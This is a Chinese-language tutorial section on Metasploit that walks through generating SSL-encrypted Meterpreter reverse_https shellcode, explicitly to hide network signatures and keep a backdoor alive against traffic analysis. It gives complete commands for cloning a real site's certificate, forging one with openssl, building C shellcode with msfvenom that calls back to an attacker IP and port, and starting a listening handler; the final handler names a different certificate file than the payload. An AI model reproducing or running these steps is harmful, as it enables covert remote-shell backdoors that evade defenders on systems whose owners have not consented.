1.3 Metasploit 生成SSL加密載荷

2023-07-01 15:00:18

在本節中,我們將介紹如何通過使用Metasploit生成加密載荷,以隱藏網路特徵。前一章節我們已經通過Metasploit生成了一段明文的ShellCode,但明文的網路傳輸存在安全隱患,因此本節將介紹如何通過生成SSL證書來加密ShellCode,使得網路特徵得到隱藏,從而提高後門的生存能力和抵抗網路特徵分析的能力。

ShellCode 網路特徵加密我們採用的是SSL(Secure Sockets Layer),現已被替換為TLS(Transport Layer Security),SSL是一種用於在Web上傳輸資料的安全協定。它的主要目的是確保在網際網路上傳輸的資料在傳遞過程中不會被第三方竊取或篡改。SSL加密的原理是通過兩個公鑰和一個私鑰來加密資料。公鑰用於加密資料,私鑰用於解密資料。在傳輸過程中,傳送者使用接收者的公鑰對資料進行加密,接收者使用自己的私鑰對資料進行解密。這樣,即使在網路上被竊取,資料也無法被第三方解密,從而保證了資料的安全性。

通常,SSL證書由以下幾部分組成:

  • 證書主體:證明證書擁有者的資訊,如域名、組織名稱等。
  • 公鑰:用於加密資料的公鑰。
  • 私鑰:用於解密資料的私鑰,需要在安全的環境中儲存。
  • 簽名:證明證書內容是由可信任的證書頒發機構簽發的。
  • 有效期:證明證書的有效期,在該期限內有效。
  • 頒發者:證明證書的頒發者,如VeriSign、GoDaddy等。

1.3.1 通過MSF模組克隆證書

要想實現加密通常我們需要獲取一個專屬的證書檔案,獲取證書的方式有兩種,第一種方式是通過Impersonate_SSL模組,對已有證書進行下載操作,如下命令實現了將www.lyshark.com網站中的證書下載到原生的功能,

msf6 > use auxiliary/gather/impersonate_ssl
msf6 > set rhost www.lyshark.com
msf6 > run

當讀者執行命令後,則該證書將被下載到home/lyshark/.msf4/loot/目錄下,其中包含了證書的key,crt,pem等檔案,輸出如下圖所示;

當具備了克隆證書後,讀者可在Metasploit中互動式執行如下命令實現生成帶有加密功能的ShellCode程式碼,如下程式碼中通過HANDLERSSLCERT指定證書位置,並通過generate生成C語言版ShellCode程式碼。

msf6 > use payload/windows/meterpreter/reverse_https
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set LHOST 192.168.9.135
msf6 > set lport 8443
msf6 > generate -f c

而對於伺服器端來說,在傳遞引數時,讀者同樣需要在HANDLERSSLCERT中傳遞私有證書,

msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set LPORT 8443
msf6 > set LHOST 192.168.140.128
msf6 > run -j

1.3.2 通過OpenSSL製作證書

當然讀者也可用通過kali系統內自帶的openssl命令生成一個新的偽造證書,OpenSSL是一個開源的安全工具,用於實現SSL/TLS協定。它提供了一系列命令列工具,可以用於生成證書、加密資料、解密資料等操作。

首先使用第一種方式生成,下面是各個引數的詳細解釋:

  • req:指定生成證書請求。
  • new:指定生成一個新的證書請求。
  • newkey rsa:4096:指定生成的證書的金鑰長度為4096位。
  • days 365:指定證書的有效期為365天。
  • nodes:指定不加密私鑰。
  • x509:指定生成的證書型別為X.509證書。
  • subj 「/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com」:指定證書主題資訊,其中C=UK代表國家,ST=London代表省份,L=London代表城市,O=Development代表組織,CN=www.lyshark.com代表通用名稱。
  • keyout www.lyshark.com.key:指定輸出的私鑰檔名。
  • out www.lyshark.com.crt:指定輸出的證書檔名。

通過這條命令,可以生成一個有效期為365天,金鑰長度為4096位的X.509證書,證書主題資訊為"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com",私鑰檔名為www.lyshark.com.key,證書檔名為www.lyshark.com.crt。

┌──(lyshark㉿kali)-[~/lyshark]
└─$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj \
"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com" \
-keyout www.lyshark.com.key -out www.lyshark.com.crt

┌──(lyshark㉿kali)-[~/lyshark]
└─$ cat www.lyshark.com.key www.lyshark.com.crt > www.lyshark.com.pem

接著讀者可執行msfvenom命令通過非互動方式生成一段加密版的ShellCode程式碼片段。

┌──(lyshark㉿kali)-[~/lyshark]
└─$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.9.135 LPORT=8443 \
PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \
HandlerSSLCert=/root/test/www.lyshark.com.pem \
StagerVerifySSLCert=true -f c -o /root/test.c

伺服器端啟用偵聽模式,並通過HandlerSSLCert傳入同樣的證書私鑰即可。

msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set LHOST 192.168.9.135
msf6 > set LPORT 8443
msf6 > set HandlerSSLCert /root/test/www.baidu.com.pem
msf6 > set StagerVerifySSLCert true
msf6 > exploit -j -z